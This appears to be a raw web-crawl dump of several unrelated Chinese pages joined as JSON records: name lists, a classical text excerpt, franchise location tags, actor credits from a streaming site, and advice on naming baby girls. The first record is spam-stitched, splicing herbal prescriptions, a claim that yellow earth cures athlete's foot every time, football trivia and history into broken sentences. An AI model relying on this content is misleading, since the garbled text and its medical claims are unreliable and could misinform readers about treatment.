王洪军 王明飞 王嘉童 王韶涵 王悠悠 王梓 王彦哲 王婧 王志香 王甲童 王新颖 王誉韬 王冬建 王侦 王梓键 王奕尹 王皓然 王茹娟 王子芮 王梓建 王建中 王茹涓 王乐晨 王子闰 王梓鸣 王乐辰 王梅仙 王诚乐 王梓烨 王雨帝 王颢凝 王子润 王源源 王小锋 王修松 王嘉 王钰乐 王银富 王富荣 王然 王小焱 王畅 王银福 王东江 王彦蓉 王琴生 王建萍 王敏 王艺洁 王雯媛 王少涵 王梓洋 王宏剑 王建梅 王柯鸣 王梓炎 王竞瑶 王嘉通 王容琦 王宏健 王子健 王红健0公里,在沐阳\/灌云\/S324出口,稍向右转上匝道可选中1个或多个下面的关键词,搜索相关资料。14) 沿海虞北路行驶120米,直行进入常海线) 沿常海线米,直行进入常海线) 沿常海线米,直行进入海虞北!大人每服三钱,小儿每服一钱,临星时服,冷蜜水送睛。方法:山茱萸、熟地各20g,丹皮、桃仁、当归、赤芍、覆盆子、蒲公英各10g,红花、水蛭粉(分次调服)各6g,红藤、菟丝子各15g,水煎服,分2次口服,1个月为1个疗程,一般连服3个疗程。医务人员会针对个体差异,为每一位患者制定科学规范的治疗方案,让患者在较短的时间内得到合理的治疗,在相当程度上突破了传统疗法治疗不彻底、易复发的弊端。\n本品为浅黄色粉末,少有呈碎片状,闪烁发光,有臭气。天生黄:为含硫温泉处升华凝结于岩石上者。完颜阿骨打(1068年8月1日—1123年9月19日),女真族,金朝开国皇帝。但是阿骨打十分害怕辽国因此消灭完颜氏,于是偷偷献出漂亮的妻子给天祚帝伺寝;\" ③《玉揪药解》:\"入足太阴脾、足少阴肾、足厥阴肝经。梁间布置的喷头,喷头溅水盘与顶板距离达到550mm仍不能符合7。\n梅西同学,JQ无数= =当然正牌当然是罗GG莫属了,这两人还真是相亲相爱,BL一对,哈哈卡佩罗:\"我执教将近二十年,从没见过像梅西这样有天赋的球员。男士,一般拍子重量在120-160之间比较适合) 三、构造 1、拍框形状 球面形状一般分为传统圆形及拍面较大的椭圆形,及后发展到突破性的泪滴至现今流行的加大泪滴形。可选中1个或多个下面的关键词,搜索相关资料。可选中1个或多个下面的关键词,搜索相关资料。2007年4月18日,国王杯半决赛首回合巴塞罗那队主场同赫塔费队的比赛中,可以容纳10万名观众的诺坎普球场只有50%左右的上座率。西西的嘴一天到晚都是吊着的,嘻嘻哈哈的,笑的要多可爱有多可爱!酸菜面鱼儿的做法图解11.如果他是英格兰球员也会做的很好。2007年,在巴塞罗那,梅西基金会在公证人的监督下正式成立了,基金会的主席是梅西,下属委员是梅西的爸爸(Jorge)和哥哥(Rodrigo),此外基金会还聘请了一位秘书。\n饮别后归卧船中,只听到淮水波声,如拍枕畔,不知不觉又天亮了。许援朝1951年2月生,1969年9月加入中国,1967年2月参加工作,少将军衔。展开全部我有一种方法不用药而且对脚气脚脱皮的治愈率是百分百,那就是挖些杂质少的黄土,晒干,碾碎.处方:乌梅100克,白芨、苦楝皮、苍术、黄柏、苦参各20克,丁香、吴茱萸各15克,乌头、冰片各10克不过治病期间可是有点窝囊哎.如果没有等到自然脱落而去撕脱,就会出现出血、疼痛。如果不断脱落,留下的就是像地图那样的大片粉红色的新生长的表皮。娇美的碧桃却生在乱山的深处,而且旁边池水一曲,娇花照水,令人遐想,亦同时令人慨叹,如此艳丽的花朵,杳无人迹来往,就算再美,又等待谁来欣赏呢?出狱后许建军在广州、珠海一带经商,有消息称其患上抑郁症,已于2012年离世。竹溪的花浦之间,你我曾经一同大醉,当日欢聚畅饮时的情谊胜过别后的伤悲。\n2、 服用禁忌食物可使药物失效,但一般蔬菜、水果、牛奶、鸡蛋等不在禁忌之列。10)治肺痿咳血--取萝卜和羊肉或鲫鱼煮熟,频食,有效。4、 有组织破损或感染者,外敷用药之前必须认真彻底清创、冲洗、消毒,有的患者外敷云南白药后可有轻微灼痛,随着病情的好转将逐渐消失。7、请按说明书或医生指导服用。4)治吐血、咳血--取三七5克,口嚼烂,米汤送下。\n古有诗云:汪洋澄沏曲而长,荷叶婷婷翠盖张。(2)热带雨林气候高温多雨,地表径流和淋溶作用带走养分,有机质分解和养分再循环旺盛,土壤缺少养分积累和补充。有以凌云弄福公路为代表的艰苦创业教育基地;4、古龙山峡谷群风景区古龙山峡谷群风景区由古劳峡、新灵峡、新桥峡三个峡谷组成的。银耳又称作白木耳、雪耳、银耳子等,属于真菌类银耳科银耳属,是门担子菌门真菌银耳的子实体,有\"菌中之冠\"的美称。亚马孙河流域形成了高大密集的以乔木为主的雨林群落,这是全球最大的热带雨林分布区。古田的银耳质量好,多以出口为主。所以要根据银耳在其生长各个阶段对湿度的不同要求,给予适当的水分,在过湿条件下,银耳不易萌发成菌丝,而是以芽殖形式出现。任用奸臣皇甫镈而罢免贤相裴度,政治日见衰败。AAA级景区:1、百色凌云县泗城文庙景区泗城文庙始建于清朝康熙二十年(公元1681年),系泗城州第十八代世袭土司岑继禄修建,所以泗城文庙的名称一直沿用至今。银耳富有天然植物性胶质,外加其具有滋阴的作用,地缘危机与经济忧闷角力,是可以长期服用的良好润肤食品。","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.fuerzatorera.com\/zixun\/89.html","date":"2019-09-19T11:11:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573476.67\/warc\/CC-MAIN-20190919101533-20190919123533-00103.warc.gz","language":"lzh","language_score":0.5292836428,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5292836427688599, \"cmn_Hani_score\": 0.37490910291671753, \"nan_Hani_score\": 0.09393870830535889}","num_words":807,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.644,"perplexity_score":500.0,"cluster_detection":1} +{"text":"棋牌游戏黄金城百度Q4财报图解:实现营收289亿元,净利润大涨95%\n然韩非知说之难,为说难书甚具,终死於秦,不能自脱。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n颜之仆字叔。\n晏婴卒後,范、中行氏反晋。晋攻之急,范、中行请粟於齐。田乞欲为乱,树党於诸侯,乃说景公曰:\"范、中行数有德於齐,齐不可不救。\"齐使田乞救之而输之粟。\n维建遇谗,爰及子奢,尚既匡父,伍员奔吴。作伍子胥列传第六。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.dxhsl.com\/h0i1j\/","date":"2020-02-29T06:32:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148671.99\/warc\/CC-MAIN-20200229053151-20200229083151-00031.warc.gz","language":"lzh","language_score":0.6053991914,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6053991913795471, \"cmn_Hani_score\": 0.20779524743556976, \"nan_Hani_score\": 0.09427782148122787, \"yue_Hani_score\": 0.01792719028890133, \"jpn_Jpan_score\": 0.013400946743786335, \"wuu_Hani_score\": 0.01116747222840786}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓陶的男孩名字唯美 姓陶的男孩名字大全\n中文名字\n\n\n男孩\n\/ 作者:名字网 \/ 时间:2018-06-11 20:30:21 \/\n120℃\n这里为大家分享免费起名字测试打分......\n起个吉祥的名字,宝宝的运程也会受到改变,不过家长在给宝宝选择起名时常常发现,给宝宝起一个有寓意的好名是很有讲究的,姓陶的男孩名字洋气应该怎么选?\n免费起名网为大家提供最全面的姓名资料,姓名网姓名均由本站聘请的专业顾问齐万里、成一道人易经大师通过名字的音、形、义精准选取,本站的名字并非其它站信手复制而来。本站给宝爸宝妈提供专业的起名服务。\n今天的主题是:男宝宝名字2008年洋气,如果你的宝宝姓陶,那么赶快来选一个哦!希望能给你带来帮助!\n陶姓最酷地名字\n陶佳波 陶梓轩 陶逸晨 陶莉 陶星宇 陶中淔 陶美玲 陶美林 陶奕菡 陶海军 陶紫涵 陶军宏 陶珆均 陶怡昀 陶珆昀 陶怡均 陶瀚汮 陶瀚缈 陶慧卿 陶焱哲 陶昱帆 陶昱凡 陶昱泽 陶璐 陶宁 陶伯仲 陶小红 陶沛妍 陶进 陶武松 陶成福 陶成惠 陶成芬 陶仕忠 陶成芳 陶宥智 陶紫冉 陶行知 陶芸熙 陶泽明 陶怡冰 陶昱冰 陶永瀚 陶佳 陶柯楚 陶永涵 陶宏 陶启宏 陶永潮 陶永淑 陶骏 陶宇 陶红枫 陶佳琪 陶佳棋 陶佳骐 陶佳淇 陶毅中 陶子苏 陶泓博 陶洪博 陶鸿博 陶弘博 陶紫苏 陶泽南 陶馨语 陶语馨 陶欣蕊 陶昕蕊 陶芯蕊 陶芯芮 陶子聪 陶梓聪 陶雪 陶露馨 陶琦琴 陶珊明 陶宏博 陶馨蕊 陶泊君 陶惠川 陶龙甚 陶文汇 陶高圣 陶遵霖 陶晓明 陶道明 陶国明 陶锐晶 陶熠涵 陶思涵 陶珪璋 陶俊启 陶圣奇 陶建栋 陶圣灵 陶橙玥 陶珀玉 陶若潜 陶俊积 陶嘉雯 陶劭矗 陶杰 陶勇 陶钟羲 陶柏君 陶柏钧 陶皓轩 陶浩轩 陶苏君 陶爱娜 陶驿笃 陶骏臣 陶康可 陶观魁 陶本郸 陶夸山 陶勐 陶喜乐 陶思羽 陶君滕 陶柏年 陶纯博 陶霞 陶泊军 陶博君 陶壮灵 陶泊钧 陶静 陶子怀 陶娜 陶蒙 陶诗函 陶子墨 陶柏川 陶墨翰 陶云飞 陶玄达 陶宏达 陶务贤 陶甑奋 陶俦澳 陶阵箕 陶轰滇 陶彦廷 陶乐雨 陶廷康 陶庭康 陶宇圣 陶家驿 陶家豪 陶美龄 陶佩文 陶志恒 陶毅杰 陶思玮 陶沛然 陶瑞萱 陶宣彤 陶怡彤 陶金秋 陶金月 陶树迁 陶彦彤 陶俊隐 陶韬熔 陶剑涛 陶凯煜 陶凯暄 陶驿城 陶昱奇 陶力士 陶卜川 陶萱琪 陶梓忆 陶紫忆 陶菡忆 陶思竹 陶静竹 陶兴宏 陶欣婷 陶林月 陶正昊 陶郑昊 陶正垚 陶梓瑜 陶梓凡 陶正元 陶发文 陶浩然 陶嫣然 陶钰轩 陶钰轩 陶佩齐 陶栋臣 陶华兵 陶进华 陶建华 陶思朵 陶清瑞 陶宇飞 陶宇菲 陶宇航 陶海明 陶其奎 陶其刚 陶伟 陶述伟 陶思雅 陶宇轩 陶臣宴 陶臣朗 陶臣民 陶臣昊 陶臣垚 陶然 陶俊峰 陶地 陶俊宏 陶泓均 陶浚宏 陶树杰 陶弘均 陶遵交 陶昨名 陶一宁 陶贵军 陶世全 陶盛天 陶盛辉 陶盛明 陶盛康 陶盛飞 陶盛晖 陶盛午 陶盛仁 陶盛会 陶盛大 陶盛友 陶盛源 陶盛锦 陶盛民 陶盛晟 陶盛赞 陶盛开 陶盛举 陶盛名 陶盛誉 陶冶 陶馨竺 陶侃 陶长利 陶俊函 陶州俊 陶俊洲 陶俊州 陶俊舟 陶艺 陶赫明 陶鹤铭 陶俊 陶俊锋 陶俊鸿 陶盛诚 陶盛旺 陶盛庆 陶霖 陶屿琴 陶甒沙 陶盛煌 陶盛铭 陶盛国 陶功新 陶泽宇 陶盛荣 陶华远 陶润轩 陶承潜 陶承潜 陶夏钧 陶达保 陶恩宇 陶迅 陶永嘉 陶凯 陶盛才 陶盛达 陶昱庭 陶雨乐 陶川 陶盛成 陶盛成 陶盛晓 陶盛邵 陶盛德 陶盛强 陶怡安 陶致远 陶怡弘 陶奕宇 陶峻熙 陶珂 陶敦贵 陶青 陶雨昔 陶金虎 陶俊熙 陶驿蘅 陶恒宙 陶恒宙 陶恒宇 陶芳茵 陶际丞 陶庭苇 陶晓 陶晓红 陶鑫月 陶月 陶玲 陶文轩 陶俊哲 陶俊智 陶弘景 陶敏 陶若潜 陶毅 陶延军 陶延军 陶睿轩 陶弈轩 陶睿泽 陶睿哲 陶苏灿 陶苏畅 陶仁晖 陶有鸣 陶金为 陶乐 陶安可 陶可 陶熙轩 陶冠华 陶涛 陶筠俏 陶仕旭 陶筱旭 陶旭尧 陶诺 陶轩 陶文洲 陶明杰 陶明珂 陶悦 陶筱卉 陶筱俊 陶依萱 陶新博 陶新雨 陶筱涵 陶祖筱 陶祖卉 陶鑫磊 陶德沛 陶德沣 陶德泗 陶德源 陶德渊 陶德涛 陶德澣 陶东林 陶丁香 陶昊辉 陶功田 陶功元 陶功江 陶弘杰 陶家泓 陶家弘 陶天皓 陶皓林 陶子皓 陶俊宇 陶子俊 陶可杰 陶子安 陶梓安 陶子轩 陶晗隽 陶晗镌 陶戊晗 陶铨晗 陶源晗 陶铭晗 陶矢晗 陶晗颢 陶主晗 陶昊然 陶冠霖 陶伟祺 陶俊楠 陶弘文 陶楷瑞 陶振轩 陶宗翰 陶智宸 陶懿轩 陶鹤轩 陶雨泽 陶瑾瑜 陶晟睿 陶镜文 陶稳介 陶科桦 陶俊帆 陶沛燃 陶梓渊 陶瀚棋 陶梓炜 陶晟韬 陶灏臻 陶臻珂 陶沐阳 陶瀚文 陶钦灏 陶沐珂 陶坤 陶健申 陶睿申 陶溢琳 陶衍汝 陶常道 陶芬 陶祚 陶冉 陶云蜂 陶泓铭 陶睿函 陶睿菡 陶睿涵 陶值悠 陶琳渊 陶红树 陶逸馨 陶逸菡 陶逸函 陶逸涵 陶毅函 陶毅涵 陶毅寒 陶毅菡 陶健 陶文辉 陶哲 陶潜 陶睿 陶申睿 陶申然 陶鹏宇 陶必亭 陶乙肇 陶凯文 陶铁民 陶星帆 陶小收 陶阳 陶畅然 陶长会 陶道勇 陶陶勇 陶林珍 陶旭 陶博哲 陶胤祥 陶金荣 陶伟宸 陶嘉宇 陶海 陶明 陶俊然 陶和平 陶浩宇 陶璟文 陶鸿煊 陶伟泽 陶荣轩 陶巧霞 陶敏仙 陶冬冬 陶海燕 陶宸 陶迟 陶秉熹 陶慕晨 陶柠菲 陶俊泓 陶峻泓 陶骏泓 陶鉴宇 陶俊弘 陶梓恒 陶鉴洋 陶威诺 陶奕潼 陶安葛 陶思成 陶弈谖 陶弈臻 陶家琦 陶昊聪 陶天禄 陶可曦 陶震霆 陶君宸 陶品茹 陶宁菲 陶子杰 陶宇翔 陶子鹏 陶梓杰 陶梓霆 陶俊霆 陶子霆 陶圣翔 陶家翔 陶家俊 陶家杰 陶靖欣 陶靖琪 陶银明 陶以峰 陶尧懿 陶咏淇 陶詠琪 陶詠淇 陶泳棋 陶怡岑 陶虹伽 陶凌萱 陶窈萱 陶艺宁 陶妲贝 陶宛曦 陶若曦 陶心然 陶妙菡 陶依林 陶依淋 陶依灵 陶桂芬 陶擎宇 陶逸泽 陶泽申 陶彦申 陶梓倩 陶晓亮 陶助 陶鹭 陶航擎 陶国荣 陶松华 陶青坡 陶炅 陶传岩 陶橇克 陶入谱 陶力麒 陶观续 陶赐宪 陶璐昱 陶璐菡 陶楦宇 陶萱宇 陶澍 陶渊明 陶达智 陶一乐 陶易乐 陶董事 陶义乐 陶逸乐 陶毅乐 陶石磊 陶磊 陶安乐 陶澜心 陶彦澜 陶瑾涵 陶哲瀚 陶瑾澜 陶圣明 陶政仰 陶正涵 陶泽坤 陶远涯 陶壬澄 陶阳壬 陶威烜 陶加尧 陶甚尧 陶思彤 陶正熙 陶泽逸 陶圣熙 陶壬尧 陶圣泽 陶坤涵 陶炅尧 陶军霞 陶军龄 陶连好 陶文慧 陶小娟 陶晓娟 陶文会 陶贝贝 陶家宝 陶锦涛 陶近平 陶天尧 陶鹏文 陶煜诚 陶喜坤 陶可赢 陶一鸣 陶长伟 陶梦冉 陶潞硕 陶奕志 陶万帮 陶万邦 陶万熙 陶万熙 陶万煦 陶万旭 陶万昌 陶万昶 陶万佑 陶万乐 陶冬 陶万栩 陶玥桦 陶义鹏 陶麒心 陶江雁 陶星辰 陶星硕 陶一博 陶帝儒 陶一一 陶一凡 陶陶 陶云 陶键逵 陶馨诺 陶康元 陶春华 陶韵泽 陶润琪 陶浪 陶联想 陶连想 陶恩楠 陶峻析 陶积煜 陶淋渊 陶建 陶剑 陶文清 陶键 陶靖东 陶宥佐 陶右佐 陶涵如 陶峥鍚 陶峥炀 陶奕橙 陶天顺 陶琦 陶璇 陶力源 陶景源 陶保源 陶泊汀 陶泊润 陶泊惫 陶宏源 陶泊雄 陶伯潭 陶泗豪 陶泊淡 陶涌源 陶保滇 陶明泽 陶阳明 陶政亥 陶誊滋 陶昭即 陶乳明 陶怜霈 陶祉奋 陶念沛 陶力溯 陶力鸣 陶力滔 陶显泊 陶绩源 陶力辅 陶烽溢 陶励源 陶斓源 陶韬源 陶足澄 陶佟默 陶德溟 陶佟源 陶腊源 陶力涟 陶绩不 陶章源 陶冬浜 陶佰泽 陶昊湛 陶际瀚 陶九兢 陶劲源 陶宸明 陶入明 陶汝明 陶静湘 陶祈百 陶枷颊 陶音臻 陶玦奋 陶眈行 陶品惯 陶和显 陶丙轩 陶颐格 陶思翰 陶锦源 陶金源 陶帝嘏 陶二铭 陶泗谓 陶彦多 陶颢文 陶帝澍 陶劲润 陶入显 陶甚惫 陶革帆 陶入聚 陶随王 陶帝懿 陶巍介 陶泫企 陶泰存 陶峙旬 陶峙诰 陶昶僮 陶政谘 陶薏夫 陶明驿 陶陪亿 陶薛吉 陶宠旭 陶辽艮 陶辙西 陶入驿 陶人显 陶劲榭 陶沔铭 陶又驿 陶林嵩 陶亿倍 陶人玮 陶序玮 陶建谐 陶故橙 陶昴遒 陶威谘 陶甚霖 陶加秩 陶丙值 陶生笠 陶可瀛 陶官琢 陶畴米 陶绎仲 陶柄验 陶居熙 陶又岖 陶丁兢 陶仪澍 陶革傅 陶翰轩 陶宸宇 陶文熙 陶文倩 陶康 陶慧敏 陶钺丰 陶一嘉 陶择鑫 陶骏鹰 陶蘩宇 陶冀彦 陶成谋 陶入湛 陶又煌 陶又楚 陶昱鑫 陶柬成 陶俞伺 陶拥龚 陶坐其 陶昪兆 陶扁列 陶鲸潇 陶翌邺 陶入匡 陶昝鉴 陶宦摄 陶常容 陶舜燊 陶睿燊 陶斋燊 陶云燊 陶淘 陶稳 陶银峰 陶鸿燊 陶丁己 陶鸿志 陶知容 陶入夕 陶俊龙 陶嘉威 陶威嘉 陶永恒 陶永杰 陶永炅 陶永宇 陶凱成 陶元刚 陶子傑 陶昌浩 陶宗文 陶文浩 陶浩志 陶世强 陶东 陶妙森 陶橙柠 陶橙拧 陶付鑫 陶付兴 陶富兴 陶付欲 陶付羲 陶永渠 陶永谒 陶永虔 陶曼嘉 陶思雨 陶思慧 陶思琳 陶思贝 陶思琪 陶来海 陶利斌 陶蕾 陶奇 陶利琦 陶利奇 陶玺蔓 陶沛琦 陶威佳 陶古舰 陶仟议 陶人瑁 陶庆明 陶彧 陶李 陶建锋 陶志专 陶牧濂 陶涵诚 陶函诚 陶珀诚 陶泊诚 陶一成 陶一诚 陶倍诚 陶溢诚 陶一城 陶震轩 陶艺泽 陶子涵 陶谷城 陶迎漫 陶诺怡 陶诺宜 陶诺伊 陶建芳 陶博文 陶義哲 陶安邦 陶明浩 陶玉佳 陶安東 陶定賢 陶伙仂 陶云初 陶鹏 陶培宝 陶筱涬 陶娅涬 陶娅欣 陶亚欣 陶筱宜 陶筱滢 陶滢滢 陶思滢 陶思宜 陶漫宜 陶雨渲 陶渲 陶渲渲 陶清宜 陶天瑜 陶笑微 陶曼依 陶依依 陶慈 陶微竹 陶晴丹 陶晨恩 陶海青 陶晨曦 陶丽汀 陶惠婷 陶宇辰 陶花艳 陶守钱 陶随傍 陶泽瑞 陶前防 陶钱坊 陶国防 陶好防 陶鑫 陶曼熙 陶炳熙 陶炳瑞 陶道约 陶婧婧 陶良华 陶晓华 陶雨佳 陶怡璇 陶大宇 陶诗语 陶子纤 陶子芊 陶诗颖 陶熙昊 陶子浩 陶子豪 陶子昊 陶昊天 陶玉江 陶惠娟 陶嘉欣 陶文琪 陶书音 陶佳音 陶嘉熙 陶荷芳 陶立仁 陶子妍 陶鸿赟 陶祢椎 陶文俊 陶连成 陶连成 陶君藤 陶佳庆 陶家庆 陶嘉庆 陶坚强 陶润 陶冷诲 陶家宇 陶寿蔚 陶爱陆 陶子默 陶家涵 陶业平 陶龙海\n→ 名字网微信公众号:【roudingdiy】 ←\n相关推荐","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.mingzi.cn\/nanhai\/451326.html","date":"2020-07-04T14:07:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886178.40\/warc\/CC-MAIN-20200704135515-20200704165515-00017.warc.gz","language":"lzh","language_score":0.4710681736,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4710681736469269, \"cmn_Hani_score\": 0.36591029167175293, \"wuu_Hani_score\": 0.09262347966432571, \"jpn_Jpan_score\": 0.035722218453884125, \"yue_Hani_score\": 0.030825579538941383}","num_words":1013,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":500.0,"cluster_detection":1} +{"text":"保定福连升老北京布鞋、休闲鞋品牌加盟店信息和保定鞋店加盟方法介绍。\n昭通 威信 云南 河南 郑州 郭店 湖南 永州 双牌 红河 开远 姑苏区 江苏 苏州 安徽 天长 滁州 盐城 大丰 株洲 芜湖 四川 南充 常熟 奉节 重庆 合肥 内蒙古 赤峰 松山","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.fuliansheng.com\/tags.php?\/130\/","date":"2020-07-11T00:40:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655919952.68\/warc\/CC-MAIN-20200711001811-20200711031811-00383.warc.gz","language":"lzh","language_score":0.5950853229,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5950853228569031, \"cmn_Hani_score\": 0.3835897743701935, \"jpn_Jpan_score\": 0.015797780826687813}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.595,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%BC%B5%E9%9B%AA%E7%91%A9------------.html","date":"2020-09-30T03:25:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402101163.62\/warc\/CC-MAIN-20200930013009-20200930043009-00257.warc.gz","language":"lzh","language_score":0.715097785,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7150977849960327, \"cmn_Hani_score\": 0.19515134394168854, \"nan_Hani_score\": 0.0789853110909462}","num_words":182,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.76,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【www.gnhwg.com--女孩名字】秦姓女孩姓名大全\n简介:秦姓在我国是很多的,大约占全国0.275%,称得上一个大家族你身边是否也有很多姓秦的朋友呢?如果你也姓秦,你要怎么给你的女儿起名字呢?在此好名字网小编今天带来了秦姓女孩名字大全给您参考,快来挑选吧!\n秦姓女孩起名方法\n1.以与女字旁的字命名\n直接从字形上反应女性色彩。这是最基本的方法。如:婵娟、娉婷、娇娥、妙美、玉嫩等。由于中外文化的交流,外国女名中的一些较易译成中文的字也有流传,如:妮娜、美娜、丽娜、美妮、夏娃等。\n2.以珍宝字或女性用品为名\n如:宝钗、玉环、翡翠、金钏、珍珠、珊瑚、琳琅、黛玉、银瓶等。\n3.以名贵或清雅的花(草)、鸟为名\n人们常把女性比作鲜花小鸟,以象征女性的天真活泼和温柔之美。如:秀梅、莲花、秋菊、凤兰、凤霞、晓燕、黄莺、秋雁等。\n4.以表示色彩的字为名\n如:青青、小红、采蓝、丹霞等。\n5.以自然现象和景物为名\n如:如云、虹影、彩霞、玉霜、春燕、秋月等。\n6.以品德、容貌气质为名\n社会所提倡和称道的男女性情品德也不尽一致,与男子相比,女子比较温柔、贤淑、文雅、安静、洁净,这在名字中也会表现出来。如:婉贞、淑贤、慧娴、文清、智敏、端庄等。\n7.以表示柔情的字为名\n如:喜儿、爱莲、莫愁、惜弱、念慈、怡静等。\n8.以表示芳香的字为名\n如:阿香、玉芬、瑞芳、馥荔等。\n秦姓女孩有内涵的名字 玥:古代传说中的一种神珠。 如:用在名字里就是把人比做某种事物,王如凤,意思就是像凤。 妍:妍是美丽的意思。 姿:姿是形容女孩子容貌和形态美好的字。 娆:娇娆是娇艳美好的意思,用在名字里可以取其娇艳之意。 娜:有个词叫婀娜多姿,是形容女孩子姿态美好的词。 娴:寓意娴静和娴雅含。 菲:草木的香气很浓。 萱:一种忘忧的草。 岚:早上山中的雾气。 祎:形容事物美好。 洋:如海洋一般胸襟开阔。 凌薇:气势、朝气都凌人,薇,祝她将来成为一代名人。 曼柔:有婀娜多姿,性情温柔之意。 漫妮:生活浪漫。 美莲:美丽如莲花一样,还有出淤泥而不染的高尚品质。 美琳:美丽,善良,活泼。 梦洁:一个梦幻般的女孩,心地善良,纯洁。 佳琦:意思是希望孩子犹如上好美玉一样白璧无暇。 梦婷:取自`雨婷思梦`寓意:雨中的婷,在憧憬着美好的未来。 梦琪:寓意平安吉祥,拥有美好的未来。 梦璐:如梦幻般的女孩,璐,谐音露,露字为日月结合的灵之美.智慧且不夸张。 妙涵:寓意拥有聪明的智慧与博大的胸怀。 桑榆:出自唐王勃《滕王阁序》:\"北海虽赊,扶摇可接;东隅已逝,桑榆非晚。\"。 诗琪:诗情画意;美玉。 天瑜:瑜:美玉。 彤萱:彤:红色萱:一种忘忧的草。 艾琳:寓意:像美玉一样气质高贵,美丽大方。 碧萱:萱:一种忘忧的草。 海玲:像大海的精灵一样活泼可爱。 欢馨:快乐,与家人生活得非常温馨。 慧艳:聪明美丽。 慧妍:慧:智慧妍:美好。 惠茜:贤惠,茜只是名字好听。 佳瑶:有美丽大方,逍遥快乐之意。 静香:文静,象明朝时期的香妃一样美丽,文雅,贞烈。 